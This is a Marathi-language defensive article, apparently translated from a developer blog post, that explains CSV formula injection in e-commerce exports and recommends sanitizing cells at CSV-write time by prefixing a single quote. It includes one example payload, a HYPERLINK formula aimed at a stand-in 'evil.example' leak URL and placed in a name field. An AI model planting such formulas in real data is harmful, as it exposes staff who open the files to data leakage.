CSV इंजेक्शन: कोड कार्यान्वित करणारे एक्सपोर्ट बटण

एक ग्राहक त्यांचे नाव भरतो. ते =HYPERLINK("http://evil.example/leak", "click") असे टाईप करतात. तुमची सिस्टीम ते स्वीकारते. ते साध्या मजकुरासारखे (plain text) दिसते.

काही आठवड्यांनंतर, तुमची फायनान्स टीम ग्राहकांची यादी CSV मध्ये एक्सपोर्ट करते. ते ती फाईल Excel मध्ये उघडतात. तो सेल आता मजकूर राहत नाही. ती एक फॉर्म्युला (formula) असते.

यालाच CSV इंजेक्शन म्हणतात. लोक याला फॉर्म्युला इंजेक्शन असेही म्हणतात. ई-कॉमर्स पॅनेलमध्ये हा एक सामान्य बग (bug) आहे. बहुतेक टीम्स याची चाचणी घेत नाहीत.

स्प्रेडशीट ॲप्स प्रत्येक सेलला मजकूर म्हणून मानत नाहीत. जर एखादा सेल =, +, -, किंवा @ ने सुरू होत असेल, तर Excel किंवा Google Sheets त्याला फॉर्म्युला म्हणून वाचते.

फॉर्म्युला केवळ गणिती क्रियाच करू शकत नाही. तो एक URL तयार करू शकतो. तो नेटवर्कशी संपर्क साधू शकतो. काही प्रकरणांमध्ये, तो संगणकावर कमांड्स कार्यान्वित (launch) करू शकतो.

डेटा तुमच्या डेटाबेसमध्ये मजकूर म्हणून राहतो. पण जेव्हा एखादी व्यक्ती ती फाईल उघडते, तेव्हा तो कार्यान्वित (executable) होतो. सहसा, उच्च प्रवेश पातळी (high access levels) असलेला कर्मचारी याचा बळी ठरतो.

तुम्ही जिथे कुठे युजर डेटा एक्सपोर्ट करता, तिथे तुम्ही धोक्यात असता:

  • ग्राहकाचे नाव आणि पत्त्याचे एक्सपोर्ट्स
  • CSV मध्ये एक्सपोर्ट केलेले ऑर्डर ग्रिड्स
  • विक्रेत्यांकडून येणारे प्रॉडक्ट फीड्स
  • कॉन्टॅक्ट फॉर्म डम्प्स

हल्लेखोराला (attacker) ॲडमिन ॲक्सेसची गरज नसते. ते स्वतःचे नाव फॉर्म्युला म्हणून सेट करतात आणि वाट पाहतात.

इनपुट व्हॅलिडेशन (input validation) दरम्यान हे सुधारण्याचा प्रयत्न करू नका. जोपर्यंत स्प्रेडशीट ते वाचत नाही, तोपर्यंत ती व्हॅल्यू वैध मजकूर असते. त्याऐवजी, जेव्हा तुम्ही CSV फाईल लिहिता (write), तेव्हा डेटा सॅनिटाइज (sanitize) करा.

जर एखादा सेल =, +, -, @, टॅब (tab), किंवा कॅरेज रिटर्न (carriage return) ने सुरू होत असेल, तर त्याच्या सुरुवातीला एक सिंगल कोट (') जोडा.

उदाहरणार्थ लॉजिक: जर व्हॅल्यू ट्रिगर कॅरेक्टरने सुरू होत असेल, तर "'" + value रिटर्न करा.

सिंगल कोट स्प्रेडशीटला तो सेल मजकूर म्हणून मानण्यास सांगतो. स्प्रेडशीट वापरकर्त्यापासून तो कोट लपवते. फाईलमध्ये डेटा जाण्यापूर्वी प्रत्येक फील्डची ही तपासणी करा.

तुमच्या डेटाबेसमध्ये डेटा एस्केप (escape) करू नका. ती व्हॅल्यू तुमच्या डेटाबेसमध्ये आणि HTML मध्ये सुरक्षित असते. ती फक्त CSV मध्ये धोकादायक असते. तुमचा डेटा इतरत्र स्वच्छ ठेवण्यासाठी CSV बाउंड्रीचे रक्षण करा.

तुमच्या अंतर्गत एक्सपोर्ट्सवर विश्वास ठेवणे थांबवा. हल्लेखोर या फाईल्सद्वारे तुमच्या कर्मचाऱ्यांना लक्ष्य करतात.

CSV इंजेक्शनमुळे स्कॅनरचे भीतीदायक अलर्ट येत नाहीत. ते तुम्ही अनेक वर्षांपूर्वी तयार केलेल्या एक्सपोर्ट बटणामध्ये लपलेले असते. आताच तुमचा CSV एक्सपोर्ट कोड तपासा. जर तुम्ही प्रत्येक सेलच्या पहिल्या कॅरेक्टरचे रक्षण केले नाही, तर तुम्ही धोक्यात आहात.

स्रोत: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6